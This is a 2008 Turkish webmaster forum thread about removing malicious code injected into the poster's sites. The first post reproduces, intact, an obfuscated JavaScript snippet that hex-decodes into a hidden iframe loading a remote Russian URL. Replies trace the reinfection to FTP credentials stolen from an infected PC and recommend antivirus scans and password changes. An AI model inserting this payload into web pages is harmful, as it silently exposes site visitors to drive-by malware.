• 05-08-2008, 21:21:52
    #1
    Alt kısımdaki meretten nasil kurtulurum 70 e yakın sitemde bu cod var arkadaşlar ve virüs uyarısı alıyorum
    genelde sitelerimin

    index.php
    index.html
    login.php
    main.php
    home.php

    uzantidakı butun sayfalarin en altına gelıyor bunun sebebi ve korunma yolları nelerdir server kullanıyorum serverde bi çalışmamı yapmam gerekıyor


    <script type="text/javascript">function jabck(ntuzn){var msunwrvsrsh="";for(tsasa=0;tsasa<ntuzn.length;tsas a+=2){msunwrvsrsh+=(String.fromCharCode(parseInt(n tuzn.substr(tsasa,2),16)));}document.write(msunwrv srsh);}jabck("3Cwlxawx6966wlxawx72wlxawx616D65wlxa wx20wlxawx73wlxawx72wlxawx633D22687474wlxawx70wlxa wx3A2Fwlxawx2Fwlxawx74wlxawx72wlxawx61wlxawx66wlxa wx6675wlxawx72wlxawx6C2E7275wlxawx2F736Cwlxawx69wl xawx762F696Ewlxawx6465782E7068wlxawx7022wlxawx2066 wlxawx72wlxawx61wlxawx6D65626F7264wlxawx6572wlxawx 3D22wlxawx302220wlxawx62wlxawx6F72wlxawx64wlxawx65 723D22wlxawx30wlxawx222077wlxawx69wlxawx64wlxawx74 68wlxawx3D22wlxawx30wlxawx2220wlxawx68wlxawx65wlxa wx696768wlxawx74wlxawx3Dwlxawx22wlxawx3022wlxawx20 wlxawx73wlxawx74796Cwlxawx653Dwlxawx22wlxawx70wlxa wx6F73wlxawx69wlxawx74696Fwlxawx6Ewlxawx3Awlxawx20 wlxawx61wlxawx62wlxawx73wlxawx6Fwlxawx6C75wlxawx74 653Bwlxawx2076wlxawx69wlxawx73wlxawx69wlxawx62wlxa wx69wlxawx6C697479wlxawx3A20wlxawx68696464wlxawx65 6Ewlxawx3Bwlxawx20646973706C6179wlxawx3Awlxawx20wl xawx6Ewlxawx6F6Ewlxawx22wlxawx3Ewlxawx3C2Fwlxawx69 wlxawx6672wlxawx616Dwlxawx65wlxawx3E".replace(/wlxawx/g, ""));</script><!-- c -->

    yardım öneri ve göruşlerinizi beklıyorum

    saygılar
  • 06-08-2008, 03:07:16
    #2
    Üyeliği durduruldu
    Virüs olabilir. bence yapmanız gereken önce o kodları silip. hemen ftp sifreleri değişmek root sifresini kullanıyorsanız tüm ftpler için daha kolay olacaktır.ancak kullanmıyorsanız önce Silip sonra Şifreyi değişmeniz gerekecektir. eğer ki önce sifre değişirseniz yeni şifreyi hafizalarına kaydeder.
    rusların işidir : )

    iyi çalışmalar.
  • 06-08-2008, 21:18:35
    #3
    butun sitelerimdekı ftp dosyalarını indirdim pc de codlari temizledim bilgisayara format attım tekrar hesaplari açtım ve dosyaları geri yukledim
    butun şifrelerimi deyiştirdim 3 gun sonra geri geldı

    bu codan kurtulmak için bi yöntem vardır bilen arkadaşlar paylaşırsa sevinirim
    cmod olabilir server kendıme ayıt guvenlik için ne yapabilirim

    saygılar arkadaşlar
  • 07-08-2008, 08:59:09
    #4
    sunucuoptimizasyon.com
    Eğer linux server ise,
    Sunucuna F-Prot(Overview - F-PROT Antivirus Downloads) , bitdefender gibi antivirüs yazılımları kurarak taratabilirsin.
  • 08-08-2008, 11:12:11
    #5
    Elazığlı168 adlı üyeden alıntı: mesajı görüntüle
    Eğer linux server ise,
    Sunucuna F-Prot(Overview - F-PROT Antivirus Downloads) , bitdefender gibi antivirüs yazılımları kurarak taratabilirsin.
    Malesef bu yazılımlar bulmuyor arkadaşın dediği kodları. aynı sıkıntı bende ve birçok arkadaşımın serverında da var gene bir virüsmü yayılıyor anlayamadım ayrıca kod blaster.word adlı virüsün pc ye yerleşmesine sebep olabiliyor bilginize.
  • 08-08-2008, 11:41:52
    #6
    virüs sunucu ile alakası yok bilgisayarınıza yerleşmesinden kaynaklanıyor ftp programlarınız baglandıgınız zaman index ile başlayan sayfalarınıza otomatıken yerleşiryor.
  • 08-08-2008, 12:01:00
    #7
    Rooxy adlı üyeden alıntı: mesajı görüntüle
    virüs sunucu ile alakası yok bilgisayarınıza yerleşmesinden kaynaklanıyor ftp programlarınız baglandıgınız zaman index ile başlayan sayfalarınıza otomatıken yerleşiryor.

    Arkadaşın dediği gibi öncelikle pc sağlam bir virus programı ile temizleyin öneri olarak kaspersk olabilir ondan sonra ftp dosyaları içindeki kodları tamizleyip yeniden atın tabi ftp şifrenizide değiştirin.
  • 09-08-2008, 10:11:40
    #8
    haklısınız sanırım 2 gün önce nod32 yi silip norton 2008 kurdum 6 tane virüs buldu ve sildi. o gün bu gündür bişey yok.